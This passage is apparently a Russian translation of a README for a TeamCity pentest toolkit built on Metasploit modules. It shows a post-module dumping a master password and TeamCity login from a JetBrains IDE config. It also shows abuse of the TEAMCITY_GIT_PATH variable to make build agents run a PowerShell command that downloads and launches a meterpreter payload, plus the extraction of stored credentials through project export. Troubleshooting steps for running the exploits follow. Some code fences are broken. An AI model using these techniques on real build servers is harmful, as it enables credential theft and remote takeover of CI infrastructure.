Вывод выглядит следующим образом:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

8\. Запустить личную пользовательскую сборку на всех совместимых агентах

![Запустить сборку](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Оболочка на агентах сборки Windows

По умолчанию `Project Developer` не может изменять/создавать шаги сборки.

Поэтому невозможно добавить и выполнить нашу вредоносную командную строку.

Мы можем попытаться обойти это в Windows, используя [Пользовательские переменные окружения](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Как?

TeamCity поддерживает [получение кода из git на агенте](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

Перед выполнением шага сборки агент загружает новейшие данные с git-сервера:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

В логах сборки это выглядит так:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

Теперь вы можете войти, используя: `http://teamcity/login.html?super=1`

## Сохраненные учетные данные

TeamCity хранит такие вещи, как `VCS root passwords`, `password parameters` или `SSH keys` в зашифрованном виде и не показывает их содержимое в веб-интерфейсе или API.

Но это можно обойти с помощью функции `export`. Перейдите в **Your project->Settings Export->Export**

![Экспорт проекта](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

Эти файлы выглядят следующим образом:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

Вывод выглядит следующим образом:


Дополнительные параметры:

| Имя | Описание |
|:---:|:---:|
|PROJECT_ID|Укажите ID проекта, по умолчанию будет создан новый случайный проект|
|BUILD_TYPE_ID|Укажите ID типа сборки, по умолчанию будет создан новый случайный тип сборки|
|VCS_ID|Укажите ID VCS, по умолчанию будет создан новый случайный VCS|
|CLEANUP|Удалить созданный проект/сборку/корень VCS|
|SERVER_PLUGIN|Путь к [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Путь к директории GIT|

# Поиск и устранение неисправностей

  1. Я не могу загрузить модули Metasploit

  Проверьте, скопировали ли вы `teamcity.rb` в каталог `~/.msf4/modules/exploits` и `jetbrains.rb` в каталог `~/.msf4/modules/post`.
  Metasploit требует, чтобы модули эксплойтов находились в каталоге `exploits`, а пост-модули — в каталоге `post`.

  2. Предупреждение! Не удалось загрузить следующие модули! LoadError cannot load such file -- kdbx

  Вы установили [модуль kdbx](#installation)? Если да, выйдите из Metasploit и запустите его снова. Используйте команду `reload_all`.

  3. Я не могу получить пароли из IDE, установленной на Mac/Linux

  В настоящее время поддерживается только Windows. Извините.

  4. Ошибка пост-модуля: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1

  Вероятно, вы используете java meterpreter. В нем отсутствуют некоторые важные API. Мигрируйте на `windows/meterpreter/reverse_tcp` и попробуйте снова.

  5. Запуск от имени SYSTEM, невозможно расшифровать данные

  Поскольку пароли зашифрованы с помощью API `CryptUnprotectData`, функция декодирования должна выполняться в контексте обычной учетной записи пользователя.

  6. Я не получаю [оболочку на сервере](#shell-on-server)

  Запустите эксплойт второй раз.

  7. `teamcit.rb` не работает, даже если текущий пользователь имеет достаточные привилегии

  Этот модуль не поддерживает пользовательские роли.

  8. Не удается найти git в %path%. Измените GIT_PATH

  Нам нужны бинарные файлы `git` и `git-upload-pack` для настройки Git-сервера, который будет хостить наш meterpreter. Я использую идею [отсюда](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. Не удается войти как `username:password`

  Проверьте учетные данные:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. Не удается найти плагин сервера: %path%. Измените SERVER_PLUGIN

  Укажите, где хранится [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] Exploit failed: Rex::RuntimeError The supplied resource is already added.

  Завершите фоновые задания с помощью `jobs -K`

  12. Привяжите LHOST к конкретному IP-адресу, а не к 0.0.0.0

  Привяжите к конкретному IP-адресу, например:  ```
  use LHOST 192.168.1.123

и затем укажите идентификатор проекта:  ```
set PROJECT_ID test

set HttpTrace 1
set LogLevel 3